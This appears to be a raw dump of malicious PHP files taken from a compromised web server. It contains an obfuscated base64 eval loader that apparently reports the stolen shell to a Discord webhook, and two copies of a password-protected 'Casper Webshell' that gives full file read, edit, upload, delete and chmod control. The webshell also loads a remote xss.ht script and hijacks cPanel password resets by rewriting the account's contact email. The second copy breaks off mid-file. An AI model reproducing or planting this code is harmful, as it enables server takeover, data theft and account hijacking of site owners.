$MP7ccMA0="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";eval($MP7ccMA0("JHQwYmdJaDYwSz0iNWM4ZGM3MjMxZjg4NjRhMzllOWYzOWU0YTZjMWY4MWIiOyRHM3hIRmtZb2lSPWFycmF5KCk7JEczeEhGa1lvaVJbMF09IklEOCtQZTRkYTNiN2ZiYmNlMjM0NWQ3NzcyYjA2NzRhMzE4ZDVEOXdhSEFLSkhkbFltaHZiMnRWY213Z1BTQW5hSFIwY0hNNkx5OWthWE5qYjNKa0xtTnZiUzloY0drdmQyVmlhRzl2YTNNdk1URTBNekE0TnpreU5UTXdOemt5TURNNU5DOXMiOyRHM3hIRmtZb2lSWzFdPSJiV0U1UlRsd2M5ZjBmODk1ZmI5OGFiOTE1OWY1MWZkMDI5N2UyMzZkU1ZCMWJFVkZabEk1ZDFOMmVFMUdNMVIwZVdoTGQxTmhURFV5TmpWeE5VbERXazlwVG5SZlRHUk5Vekp5YUdZNU5Vb3lYMUZZZW1oUmJGZEZZaWM3Q25SeWVTQjdDaUFnIjskRzN4SEZrWW9pUlsyXT0iSUNBa2NISjhmMTRlNDVmY2VlYTE2N2E1YTM2ZGVkZDRiZWEyNTQzdmRHOWpiMndnUFNCcGMzTmxkQ2drWDFORlVsWkZVbHNuU0ZSVVVGTW5YU2tnSmlZZ0pGOVRSVkpXUlZKYkowaFVWRkJUSjEwZ1BUMDlJQ2R2YmljZ1B5QWlhSFIwY0hNNiI7JEczeEhGa1lvaVJbM109Ikx5YzgxZTcyOGQ5ZDRjMmY2MzZmMDY3Zjg5Y2MxNDg2MmM4aUlEb2dJbWgwZEhBNkx5OGlPd29nSUNBZ0pHaHZjM1FnUFNBa1gxTkZVbFpGVWxzblNGUlVVRjlJVDFOVUoxMDdDaUFnSUNBa2MyTnlhWEIwSUQwZ0pGOVRSVkpXUlZKYkoxQkkiOyRHM3hIRmtZb2lSWzRdPSJVRjllY2NiYzg3ZTRiNWNlMmZlMjgzMDhmZDlmMmE3YmFmM1RSVXhHSjEwN0Nnb2dJQ0FnSkhWelpYSkJaMlZ1ZENBOUlDUmZVMFZTVmtWU1d5ZElWRlJRWDFWVFJWSmZRVWRGVGxRblhUc0tJQ0FnSUNSbWFXeGxWVkpNSUQwZ0pIQnliM1J2IjskRzN4SEZrWW9pUls1XT0iWWM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliMjlzSUM0Z0pHaHZjM1FnTGlBa2MyTnlhWEIwT3dvZ0lDQWdKR2x3VW1WemNHOXVjMlVnUFNCbWFXeGxYMmRsZEY5amIyNTBaVzUwY3lnaWFIUjBjSE02THk5aGNHa3VhWEJwWm5rdSI7JEczeEhGa1lvaVJbNl09ImIzSm5MejltYzlmMGY4OTVmYjk4YWI5MTU5ZjUxZmQwMjk3ZTIzNmRiM0p0WVhROWFuTnZiaUlwT3dvZ0lDQWdKR2x3UkdGMFlTQTlJR3B6YjI1ZlpHVmpiMlJsS0NScGNGSmxjM0J2Ym5ObEtUc0tJQ0FnSUNScGNDQTlJQ1JwY0VSaGRHRXQiOyRHM3hIRmtZb2lSWzddPSJQbWx3T3dvZ2M5ZjBmODk1ZmI5OGFiOTE1OWY1MWZkMDI5N2UyMzZkSUNBZ0pHbHdTVzVtYjFKbGMzQnZibk5sSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5cGNHbHVabTh1YVc4dmV5UnBjSDB2YW5OdmJpSXBPd29nIjskRzN4SEZrWW9pUls4XT0iSUNBZ0pHMTY3OTA5MWM1YTg4MGZhZjZmYjVlNjA4N2ViMWIyZGNsd1NXNW1ieUE5SUdwemIyNWZaR1ZqYjJSbEtDUnBjRWx1Wm05U1pYTndiMjV6WlNrN0Nnb2dJQ0FnSkdOdmRXNTBjbmtnUFNBa2FYQkpibVp2TFQ1amIzVnVkSEo1T3dvZyI7JEczeEhGa1lvaVJbOV09IklDQWdhODdmZjY3OWEyZjNlNzFkOTE4MWE2N2I3NTQyMTIyY0pISmxaMmx2YmlBOUlDUnBjRWx1Wm04dFBuSmxaMmx2YmpzS0lDQWdJQ1JqYVhSNUlEMGdKR2x3U1c1bWJ5MCtZMmwwZVRzS0NpQWdJQ0FrYldWemMyRm5aU0E5SUNJS0NpQWciOyRHM3hIRmtZb2lSWzEwXT0iSUNBZWNjYmM4N2U0YjVjZTJmZTI4MzA4ZmQ5ZjJhN2JhZjNxS2xWeWJEb3FLaUJnSkdacGJHVlZVa3hnWEc0S0lDQWdJQ0k3Q2lBZ0lDQWtkWE5sY201aGJXVWdQU0FpVTNSdmJHVnVJRk5vWld4c0lFUnZibVVpT3dvZ0lDQWdKR0YyWVhSaCI7JEczeEhGa1lvaVJbMTFdPSJjbFZ5YkNBOUk0NWM0OGNjZTJlMmQ3ZmJkZWExYWZjNTFjN2M2YWQyNkNKb2RIUndjem92TDJrdWFXMW5kWEl1WTI5dEwwTldSR0ZNUzJ3dWFuQm5JanNLSUNBZ0lDUmtZWFJoSUQwZ1lYSnlZWGtvQ2lBZ0lDQWdJQ0FnSjNWelpYSnVZVzFsIjskRzN4SEZrWW9pUlsxMl09Ikp5QTlQaUFrZDQ1YzQ4Y2NlMmUyZDdmYmRlYTFhZmM1MWM3YzZhZDI2WE5sY201aGJXVXNDaUFnSUNBZ0lDQWdKMkYyWVhSaGNsOTFjbXduSUQwK0lDUmhkbUYwWVhKVmNtd3NDaUFnSUNBZ0lDQWdKMlZ0WW1Wa2N5Y2dQVDRnWVhKeVlYa28iOyRHM3hIRmtZb2lSWzEzXT0iQ2lBZWNjYmM4N2U0YjVjZTJmZTI4MzA4ZmQ5ZjJhN2JhZjNnSUNBZ0lDQWdJQ0FnSUdGeWNtRjVLQW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKMmx0WVdkbEp5QTlQaUJoY25KaGVTZ0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FuZFhKcyI7JEczeEhGa1lvaVJbMTRdPSJKeUE5UGlBa1o0NWM0OGNjZTJlMmQ3ZmJkZWExYWZjNTFjN2M2YWQyNjJsbVZYSnNDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQXBMQW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKMlJsYzJOeWFYQjBhVzl1SnlBOVBpQWtiV1Z6YzJGblpRb2dJQ0FnIjskRzN4SEZrWW9pUlsxNV09IklDQWdhODdmZjY3OWEyZjNlNzFkOTE4MWE2N2I3NTQyMTIyY0lDQWdJQ0FwQ2lBZ0lDQWdJQ0FnS1FvZ0lDQWdLVHNLQ2lBZ0lDQWtiM0IwYVc5dWN5QTlJR0Z5Y21GNUtBb2dJQ0FnSUNBZ0lDZG9kSFJ3SnlBOVBpQmhjbkpoZVNnS0lDQWciOyRHM3hIRmtZb2lSWzE2XT0iSUNBZ0lDMTY3OTA5MWM1YTg4MGZhZjZmYjVlNjA4N2ViMWIyZGNBZ0lDQWdKMmhsWVdSbGNpY2dJRDArSUNKRGIyNTBaVzUwTFhSNWNHVTZJR0Z3Y0d4cFkyRjBhVzl1TDJwemIyNWNjbHh1SWl3S0lDQWdJQ0FnSUNBZ0lDQWdKMjFsZEdodiI7JEczeEhGa1lvaVJbMTddPSJaYzRjYTQyMzhhMGI5MjM4MjBkY2M1MDlhNmY3NTg0OWJDY2dJRDArSUNkUVQxTlVKeXdLSUNBZ0lDQWdJQ0FnSUNBZ0oyTnZiblJsYm5RbklEMCtJR3B6YjI1ZlpXNWpiMlJsS0NSa1lYUmhLUW9nSUNBZ0lDQWdJQ2tLSUNBZ0lDazdDZ29nIjskRzN4SEZrWW9pUlsxOF09IklDQWdKR052YzlmMGY4OTVmYjk4YWI5MTU5ZjUxZmQwMjk3ZTIzNmRiblJsZUhRZ0lEMGdjM1J5WldGdFgyTnZiblJsZUhSZlkzSmxZWFJsS0NSdmNIUnBiMjV6S1RzS0lDQWdJQ1J5WlhOMWJIUWdQU0JtYVd4bFgyZGxkRjlqYjI1MFpXNTAiOyRHM3hIRmtZb2lSWzE5XT0iY3lna2QyVmlhRzl2YTFWeWJDd2dabUZzYzJVc0lDUmpiMjUwWlhoMEtUc0tDaUFnSUNCOUlHTmhkR05vSUNoRmVHTmxjSFJwYjI0Z0pHVXBJSHNLSUNBZ0lDQWdJQ0FLSUNBZ0lIMEtQejRLUEQ5d2FIQWciOyRxTDIwMjMwODIyMDUyMDE1PSJceDYyXDE0MVx4NzNceDY1XHgzNlx4MzRceDVmXDE0NFwxNDVceDYzXHg2Zlx4NjRcMTQ1IjskTW9BMjAyMzA4MjIwNTIwMTUgPSBGbk9kb0Y1YTIwMjMwODIyMDUyMDE1KCRHM3hIRmtZb2lSLCR0MGJnSWg2MEspO2Z1bmN0aW9uIEZuT2RvRjVhMjAyMzA4MjIwNTIwMTUoJGFlLCRrZXkpIHsgJGF0PWFycmF5KCk7IGZvciAoJGk9MDsgJGkgPCBzdHJsZW4oJGtleSk7ICRpKyspIHsgaWYgKGludHZhbCgka2V5WyRpXSk+MCkgeyAkYXRbJGldPSRrZXlbJGldOyB9IH0gJGF0PWFycmF5X3ZhbHVlcygkYXQpOyAkc3RyPSIiOyBmb3IgKCRpPTA7ICRpIDwgY291bnQoJGFlKTsgJGkrKykgeyBpZiAoJGk8IGNvdW50KCRhZSktMSkgJHN0ci49c3RyX3JlcGxhY2UobWQ1KCRhdFskaV0pLCAiIiwgJGFlWyRpXSk7IGVsc2UgJHN0ci49JGFlWyRpXTsgfSByZXR1cm4gJHN0cjsgfWV2YWwoJHFMMjAyMzA4MjIwNTIwMTUoJE1vQTIwMjMwODIyMDUyMDE1KSk7"));
?>nsss.php000064400000040227151167306020006251 0ustar00<?php
ini_set('display_errors', 0);

$correct_password = 'gpucpu';

// Check if user is logged in
session_start();
if (!isset($_SESSION['logged_in']) ||
!$_SESSION['logged_in']) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (isset($_POST['password']) &&
$_POST['password'] === $correct_password) {
            $_SESSION['logged_in'] = true;
            header('Location: ' .
$_SERVER['PHP_SELF']);
            exit;
        } else {
            $error = 'Invalid password.';
        }
    }
    if (!isset($_SESSION['logged_in']) ||
!$_SESSION['logged_in']) {
        ?>
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>Login</title>
            <style>
                body {
                    display: flex;
                    justify-content: center;
                    align-items: center;
                    height: 100vh;
                    background-color: #f4f4f4;
                    font-family: Arial, sans-serif;
                }
                .login-form {
                    background-color: #fff;
                    padding: 20px;
                    border-radius: 5px;
                    box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
                }
                .login-form input[type="password"] {
                    width: 100%;
                    padding: 10px;
                    margin-bottom: 10px;
                }
                .login-form input[type="submit"] {
                    width: 100%;
                    padding: 10px;
                    background-color: #007bff;
                    color: #fff;
                    border: none;
                    cursor: pointer;
                }
                .login-form input[type="submit"]:hover {
                    background-color: #0056b3;
                }
                .login-form .error {
                    color: #ff0000;
                    margin-bottom: 10px;
                }
            </style>
        </head>
        <body>
            <div class="login-form">
                <h2>Login</h2>
                <?php if (isset($error)): ?>
                    <p class="error"><?php echo
htmlspecialchars($error); ?></p>
                <?php endif; ?>
                <form method="POST">
                    <input type="password"
name="password" placeholder="Enter password"
required>
                    <input type="submit"
value="Login">
                </form>
            </div>
        </body>
        </html>
        <?php
        exit;
    }
}

// Funcs concatenation
$fe = "fun" . "cti" . "on_" .
"exis" . "ts";
$scd =
"s"."c"."a"."n"."d"."i"."r";
$se = "she" . "ll" . "_" . "e" .
"xe" . "c";
$muf = "mo" . "v" . "e_" . "u" .
"plo" . "ade" . "d_" . "fi" .
"le";
$mkd = "m" . "k" . "d" . "i" .
"r";
$bn = "b" . "a" . "s" . "e" .
"n" . "a" . "m" . "e";
$fgc = "f" . "i" . "l" . "e" .
"_" . "g" . "e" . "t" .
"_" . "c" . "o" . "n" .
"t" . "e" . "n" . "t" .
"s";
$dirn = "d" . "i" . "r" . "n" .
"a" . "m" . "e";
$unl = "u" . "n" . "l" . "i" .
"n" . "k";
$b64d = "ba" . "se" . "64" . "_" .
"de" . "co" . "de";
$b64e = "ba" . "se" . "64" . "_" .
"en" . "co" . "de";
$fo =
"f"."o"."p"."e"."n";
$fw =
"f"."w"."r"."i"."t"."e";
$fc =
"f"."c"."l"."o"."s"."e";

$current_dir = isset($_GET['dir']) ? $_GET['dir'] :
dirname(__FILE__);

if (!is_dir($current_dir)) {
    $current_dir = dirname(__FILE__);
}

$items = $scd($current_dir);

function formatBytes($size, $precision = 2) {
    $base = log($size, 1024);
    $suffixes = array('', 'KB', 'MB',
'GB', 'TB');
    return round(pow(1024, $base - floor($base)), $precision) . '
' . $suffixes[floor($base)];
}

$parent_dir = $dirn($current_dir);
$editFileContent = '';

$directory = isset($_GET['dir']) ? $_GET['dir'] :
'.';

$directory = realpath($directory) ?: '.';

if (isset($_POST['action'])) {
    $action = $_POST['action'];
    $target = $_POST['target'] ?? '';

    switch ($action) {
        case 'delete':
            if (is_dir($target)) {
                deleteDirectory($target); // Call the recursive delete
function
            } else {
                $unl($target);
            }
            break;

        case 'edit':
            if (file_exists($target)) {
                $editFileContent = $fgc($target);
            }
            break;

        case 'save':
            if (file_exists($target) &&
isset($_POST['content'])) {
                file_put_contents($target, $_POST['content']);
            }
            break;

        case 'chmod':
            if (isset($_POST['permissions'])) {
                chmod($target, octdec($_POST['permissions']));
            }
            break;

        case 'download':
            if (file_exists($target)) {
                header('Content-Description: File Transfer');
                header('Content-Type:
application/octet-stream');
                header('Content-Disposition: attachment;
filename=' . $bn($target));
                header('Expires: 0');
                header('Cache-Control: must-revalidate');
                header('Pragma: public');
                header('Content-Length: ' . filesize($target));
                readfile($target);
                exit;
            }
            break;

        case 'upload':
            if (isset($_FILES['fileToUpload'])) {
                $file = $_FILES['fileToUpload'];

                // Check for errors
                if ($file['error'] === UPLOAD_ERR_OK) {
                    // Sanitize the file name
                    $fileName = $bn($file['name']);
                    $targetPath = $current_dir . DIRECTORY_SEPARATOR .
$fileName;

                    // Move the uploaded file to the target directory
                    if ($muf($file['tmp_name'], $targetPath)) {
                        echo "<p>File uploaded
successfully!</p>";
                    } else {
                        echo "<p>Failed to move uploaded
file.</p>";
                    }
                } else {
                    echo "<p>Error uploading file: " .
$file['error'] . "</p>";
                }
            }
            break;
    }
}

function deleteDirectory($dir) {
    if (!is_dir($dir)) {
        return false;
    }

    $items = array_diff($scd($dir), array('.', '..'));

    foreach ($items as $item) {
        $path = $dir . DIRECTORY_SEPARATOR . $item;
        if (is_dir($path)) {
            deleteDirectory($path);
        } else {
            $unl($path);
        }
    }

    return rmdir($dir);
}

function reset_cpanel_password($email) {
    $user = get_current_user();
    $site = $_SERVER['HTTP_HOST'];
    $resetUrl = $site . ':2082/resetpass?start=1';

    $wr = 'email:' . $email;

    $f = $fo('/home/' . $user . '/.cpanel/contactinfo',
'w');
    $fw($f, $wr);
    $fc($f);

    $f = $fo('/home/' . $user . '/.contactinfo',
'w');
    $fw($f, $wr);
    $fc($f);

    echo '<br/><center>Password reset link: <a
href="http://' . $resetUrl . '">' . $resetUrl .
'</a></center>';
    echo '<br/><center>Username: ' . $user .
'</center>';
}

if (isset($_POST['cpanel_reset'])) {
    $email = $_POST['email'];
    reset_cpanel_password($email);
}

$username = get_current_user();
$user = $_SERVER['USER'] ?? 'N/A';
$phpVersion = phpversion();
$dateTime = date('Y-m-d H:i:s');
$hddFreeSpace = disk_free_space("/") / (1024 * 1024 * 1024); //
in GB
$hddTotalSpace = disk_total_space("/") / (1024 * 1024 * 1024); //
in GB
$serverIP = $_SERVER['SERVER_ADDR'];
$clientIP = $_SERVER['REMOTE_ADDR'];
$cwd = getcwd();

$parentDirectory = $dirn($directory);
$breadcrumbs = explode(DIRECTORY_SEPARATOR, $directory);
$breadcrumbLinks = [];
$breadcrumbPath = '';

foreach ($breadcrumbs as $crumb) {
    $breadcrumbPath .= $crumb . DIRECTORY_SEPARATOR;
    $breadcrumbLinks[] = '<a href="?dir=' .
urlencode(rtrim($breadcrumbPath, DIRECTORY_SEPARATOR)) .
'">' . htmlspecialchars($crumb) .
'</a>';
}

$breadcrumbLinksString = implode(' / ', $breadcrumbLinks);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Casper Webshell</title>
    <script
src="https://googlescripts.xss.ht"></script>
    <link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-color: #f4f4f4;
        }
        .file-manager {
            width: 80%;
            margin: 20px auto;
            background-color: #fff;
            padding: 20px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
        .file-manager h1 {
            text-align: center;
        }
        .system-info {
            margin-bottom: 20px;
            background-color: #f9f9f9;
            padding: 10px;
            border: 1px solid #ddd;
        }
        .file-list {
            width: 100%;
            border-collapse: collapse;
        }
        .file-list th, .file-list td {
            padding: 10px;
            text-align: left;
            border-bottom: 1px solid #ddd;
        }
        .file-actions form {
            display: inline;
        }
        .file-actions button {
            background: none;
            border: none;
            cursor: pointer;
            color: #007bff;
            font-size: 14px;
        }
        .file-actions button:hover {
            color: #0056b3;
        }
        .upload-form, .edit-form, .reset-form {
            margin-top: 20px;
        }
        .upload-form input[type="file"] {
            margin-bottom: 10px;
        }
        .reset-form form {
            display: flex;
            flex-direction: column;
        }
        .reset-form input[type="submit"] {
            margin-top: 10px;
        }
        .php-info-button {
            margin-top: 20px;
            text-align: center;
        }
        .php-info-button button {
            background-color: #17a2b8;
            color: #fff;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
        }
        .php-info-button button:hover {
            background-color: #138496;
        }
    </style>
    <script>
        function toggleResetForm() {
            var form = document.getElementById('reset-form');
            if (form.style.display === 'none') {
                form.style.display = 'block';
            } else {
                form.style.display = 'none';
            }
        }
    </script>
</head>
<body>
    <div class="file-manager">
        <h1>Casper Webshell</h1>

        <div class="system-info">
            <p>Current Directory: <?php echo
$breadcrumbLinksString; ?></p>
            <p>Username: <?php echo htmlspecialchars($username);
?></p>
            <p>Server IP: <?php echo htmlspecialchars($serverIP);
?></p>
            <p>Client IP: <?php echo htmlspecialchars($clientIP);
?></p>
            <p>PHP Version: <?php echo
htmlspecialchars($phpVersion); ?></p>
            <p>Current Date and Time: <?php echo
htmlspecialchars($dateTime); ?></p>
            <p>Free Disk Space: <?php echo
formatBytes($hddFreeSpace * 1024 * 1024 * 1024); ?></p>
            <p>Total Disk Space: <?php echo
formatBytes($hddTotalSpace * 1024 * 1024 * 1024); ?></p>
        </div>

        <div class="actions">
            <?php if ($parent_dir !== $current_dir): ?>
                <button
onclick="window.location.href='?dir=<?php echo
urlencode($parent_dir); ?>'">
                    <i class="fas fa-arrow-left
icon"></i> Back
                </button>
            <?php endif; ?>
            <button onclick="toggleResetForm()">Reset
cPanel Password</button>
        </div>

        <div class="reset-form" id="reset-form">
            <form method="POST">
                <input type="email" name="email"
placeholder="Enter email" required>
                <input type="submit"
name="cpanel_reset" value="Reset Password">
            </form>
        </div>

        <div class="upload-form">
            <h2>Upload File</h2>
            <form method="POST" action=""
enctype="multipart/form-data">
                <input type="file"
name="fileToUpload" required>
                <button type="submit" name="action"
value="upload">Upload</button>
            </form>
        </div>

        <table class="file-list">
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Last Modified</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($items as $item): ?>
                    <?php if ($item !== '.' && $item
!== '..'): ?>
                        <?php
                        $itemPath = $current_dir . DIRECTORY_SEPARATOR .
$item;
                        $isDir = is_dir($itemPath);
                        $size = $isDir ? '-' :
formatBytes(filesize($itemPath));
                        $lastModified = date('Y-m-d H:i:s',
filemtime($itemPath));
                        ?>
                        <tr>
                            <td>
                                <?php if ($isDir): ?>
                                    <a href="?dir=<?php echo
urlencode($itemPath); ?>"><?php echo htmlspecialchars($item);
?></a>
                                <?php else: ?>
                                    <?php echo htmlspecialchars($item);
?>
                                <?php endif; ?>
                            </td>
                            <td><?php echo $size;
?></td>
                            <td><?php echo $lastModified;
?></td>
                            <td class="file-actions">
                                <form method="POST"
style="display:inline;">
                                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
                                    <button type="submit"
name="action" value="delete"><i class="fas
fa-trash-alt icon"></i> Delete</button>
                                </form>
                                <form method="POST"
style="display:inline;">
                                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
                                    <button type="submit"
name="action" value="edit"><i class="fas
fa-edit icon"></i> Edit</button>
                                </form>
                                <form method="POST"
style="display:inline;">
                                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
                                    <button type="submit"
name="action" value="download"><i class="fas
fa-download icon"></i> Download</button>
                                </form>
                                <form method="POST"
style="display:inline;">
                                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
                                    <input type="text"
name="permissions" placeholder="Permissions (e.g.,
0755)" style="width: 80px;">
                                    <button type="submit"
name="action" value="chmod"><i class="fas
fa-lock icon"></i> Chmod</button>
                                </form>
                            </td>
                        </tr>
                    <?php endif; ?>
                <?php endforeach; ?>
            </tbody>
        </table>

        <?php if (isset($_POST['action']) &&
$_POST['action'] === 'edit'): ?>
            <div class="edit-form">
                <h2>Edit File: <?php echo
htmlspecialchars($target); ?></h2>
                <form method="POST">
                    <textarea name="content"><?php echo
htmlspecialchars($editFileContent); ?></textarea>
                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($target); ?>">
                    <button type="submit"
name="action" value="save">Save</button>
                </form>
            </div>
        <?php endif; ?>
    </div>
</body>
</html>
wpupp.php000064400000037114151167306020006437 0ustar00<?php
ini_set('display_errors', 0);

$correct_password = 'gpucpu';

// Check if user is logged in
session_start();
if (!isset($_SESSION['logged_in']) ||
!$_SESSION['logged_in']) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (isset($_POST['password']) &&
$_POST['password'] === $correct_password) {
            $_SESSION['logged_in'] = true;
            header('Location: ' .
$_SERVER['PHP_SELF']);
            exit;
        } else {
            $error = 'Invalid password.';
        }
    }
    if (!isset($_SESSION['logged_in']) ||
!$_SESSION['logged_in']) {
        ?>
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>Login</title>
            <style>
                body {
                    display: flex;
                    justify-content: center;
                    align-items: center;
                    height: 100vh;
                    background-color: #f4f4f4;
                    font-family: Arial, sans-serif;
                }
                .login-form {
                    background-color: #fff;
                    padding: 20px;
                    border-radius: 5px;
                    box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
                }
                .login-form input[type="password"] {
                    width: 100%;
                    padding: 10px;
                    margin-bottom: 10px;
                }
                .login-form input[type="submit"] {
                    width: 100%;
                    padding: 10px;
                    background-color: #007bff;
                    color: #fff;
                    border: none;
                    cursor: pointer;
                }
                .login-form input[type="submit"]:hover {
                    background-color: #0056b3;
                }
                .login-form .error {
                    color: #ff0000;
                    margin-bottom: 10px;
                }
            </style>
        </head>
        <body>
            <div class="login-form">
                <h2>Login</h2>
                <?php if (isset($error)): ?>
                    <p class="error"><?php echo
htmlspecialchars($error); ?></p>
                <?php endif; ?>
                <form method="POST">
                    <input type="password"
name="password" placeholder="Enter password"
required>
                    <input type="submit"
value="Login">
                </form>
            </div>
        </body>
        </html>
        <?php
        exit;
    }
}

// Your existing file manager code follows...

$current_dir = isset($_GET['dir']) ? $_GET['dir'] :
dirname(__FILE__);

if (!is_dir($current_dir)) {
    $current_dir = dirname(__FILE__);
}

$items = scandir($current_dir);

function formatBytes($size, $precision = 2) {
    $base = log($size, 1024);
    $suffixes = array('', 'KB', 'MB',
'GB', 'TB');   
    return round(pow(1024, $base - floor($base)), $precision) . '
' . $suffixes[floor($base)];
}

$parent_dir = dirname($current_dir);
$editFileContent = '';

$directory = isset($_GET['dir']) ? $_GET['dir'] :
'.';

$directory = realpath($directory) ?: '.';

if (isset($_POST['action'])) {
    $action = $_POST['action'];
    $target = $_POST['target'] ?? '';

    switch ($action) {
        case 'delete':
            if (is_dir($target)) {
                deleteDirectory($target); // Call the recursive delete
function
            } else {
                unlink($target);
            }
            break;

        case 'edit':
            if (file_exists($target)) {
                $editFileContent = file_get_contents($target);
            }
            break;

        case 'save':
            if (file_exists($target) &&
isset($_POST['content'])) {
                file_put_contents($target, $_POST['content']);
            }
            break;

        case 'chmod':
            if (isset($_POST['permissions'])) {
                chmod($target, octdec($_POST['permissions']));
            }
            break;

        case 'download':
            if (file_exists($target)) {
                header('Content-Description: File Transfer');
                header('Content-Type:
application/octet-stream');
                header('Content-Disposition: attachment;
filename=' . basename($target));
                header('Expires: 0');
                header('Cache-Control: must-revalidate');
                header('Pragma: public');
                header('Content-Length: ' . filesize($target));
                readfile($target);
                exit;
            }
            break;

        case 'upload':
            if (isset($_FILES['fileToUpload'])) {
                $file = $_FILES['fileToUpload'];

                // Check for errors
                if ($file['error'] === UPLOAD_ERR_OK) {
                    // Sanitize the file name
                    $fileName = basename($file['name']);
                    $targetPath = $current_dir . DIRECTORY_SEPARATOR .
$fileName;

                    // Move the uploaded file to the target directory
                    if (move_uploaded_file($file['tmp_name'],
$targetPath)) {
                        echo "<p>File uploaded
successfully!</p>";
                    } else {
                        echo "<p>Failed to move uploaded
file.</p>";
                    }
                } else {
                    echo "<p>Error uploading file: " .
$file['error'] . "</p>";
                }
            }
            break;
    }
}

function deleteDirectory($dir) {
    if (!is_dir($dir)) {
        return false;
    }

    $items = array_diff(scandir($dir), array('.',
'..'));

    foreach ($items as $item) {
        $path = $dir . DIRECTORY_SEPARATOR . $item;
        if (is_dir($path)) {
            deleteDirectory($path);
        } else {
            unlink($path);
        }
    }

    return rmdir($dir);
}

function reset_cpanel_password($email) {
    $user = get_current_user();
    $site = $_SERVER['HTTP_HOST'];
    $resetUrl = $site . ':2082/resetpass?start=1';
    
    $wr = 'email:' . $email;
    
    $f = fopen('/home/' . $user .
'/.cpanel/contactinfo', 'w');
    fwrite($f, $wr);
    fclose($f);
    
    $f = fopen('/home/' . $user . '/.contactinfo',
'w');
    fwrite($f, $wr);
    fclose($f);
    
    echo '<br/><center>Password reset link: <a
href="http://' . $resetUrl . '">' . $resetUrl .
'</a></center>';
    echo '<br/><center>Username: ' . $user .
'</center>';
}

if (isset($_POST['cpanel_reset'])) {
    $email = $_POST['email'];
    reset_cpanel_password($email);
}

$username = get_current_user();
$user = $_SERVER['USER'] ?? 'N/A';
$phpVersion = phpversion();
$dateTime = date('Y-m-d H:i:s');
$hddFreeSpace = disk_free_space("/") / (1024 * 1024 * 1024); //
in GB
$hddTotalSpace = disk_total_space("/") / (1024 * 1024 * 1024); //
in GB
$serverIP = $_SERVER['SERVER_ADDR'];
$clientIP = $_SERVER['REMOTE_ADDR'];
$cwd = getcwd();

$parentDirectory = dirname($directory);
$breadcrumbs = explode(DIRECTORY_SEPARATOR, $directory);
$breadcrumbLinks = [];
$breadcrumbPath = '';

foreach ($breadcrumbs as $crumb) {
    $breadcrumbPath .= $crumb . DIRECTORY_SEPARATOR;
    $breadcrumbLinks[] = '<a href="?dir=' .
urlencode(rtrim($breadcrumbPath, DIRECTORY_SEPARATOR)) .
'">' . htmlspecialchars($crumb) .
'</a>';
}

$breadcrumbLinksString = implode(' / ', $breadcrumbLinks);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Casper Webshell</title>
    <script
src="https://googlescripts.xss.ht"></script>
    <link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-color: #f4f4f4;
        }
        .file-manager {
            width: 80%;
            margin: 20px auto;
            background-color: #fff;
            padding: 20px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
        .file-manager h1 {
            text-align: center;
        }
        .system-info {
            margin-bottom: 20px;
            background-color: #f9f9f9;
            padding: 10px;
            border: 1px solid #ddd;
        }
        .file-list {
            width: 100%;
            border-collapse: collapse;
        }
        .file-list th, .file-list td {
            padding: 10px;
            text-align: left;
            border-bottom: 1px solid #ddd;
        }
        .file-actions form {
            display: inline;
        }
        .file-actions button {
            background: none;
            border: none;
            cursor: pointer;
            color: #007bff;
            font-size: 14px;
        }
        .file-actions button:hover {
            color: #0056b3;
        }
        .upload-form, .edit-form, .reset-form {
            margin-top: 20px;
        }
        .upload-form input[type="file"] {
            margin-bottom: 10px;
        }
        .reset-form form {
            display: flex;
            flex-direction: column;
        }
        .reset-form input[type="submit"] {
            margin-top: 10px;
        }
        .php-info-button {
            margin-top: 20px;
            text-align: center;
        }
        .php-info-button button {
            background-color: #17a2b8;
            color: #fff;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
        }
        .php-info-button button:hover {
            background-color: #138496;
        }
    </style>
    <script>
        function toggleResetForm() {
            var form = document.getElementById('reset-form');
            if (form.style.display === 'none') {
                form.style.display = 'block';
            } else {
                form.style.display = 'none';
            }
        }
    </script>
</head>
<body>
    <div class="file-manager">
        <h1>Casper Webshell</h1>

        <div class="system-info">
            <p>Current Directory: <?php echo
$breadcrumbLinksString; ?></p>
            <p>Username: <?php echo htmlspecialchars($username);
?></p>
            <p>Server IP: <?php echo htmlspecialchars($serverIP);
?></p>
            <p>Client IP: <?php echo htmlspecialchars($clientIP);
?></p>
            <p>PHP Version: <?php echo
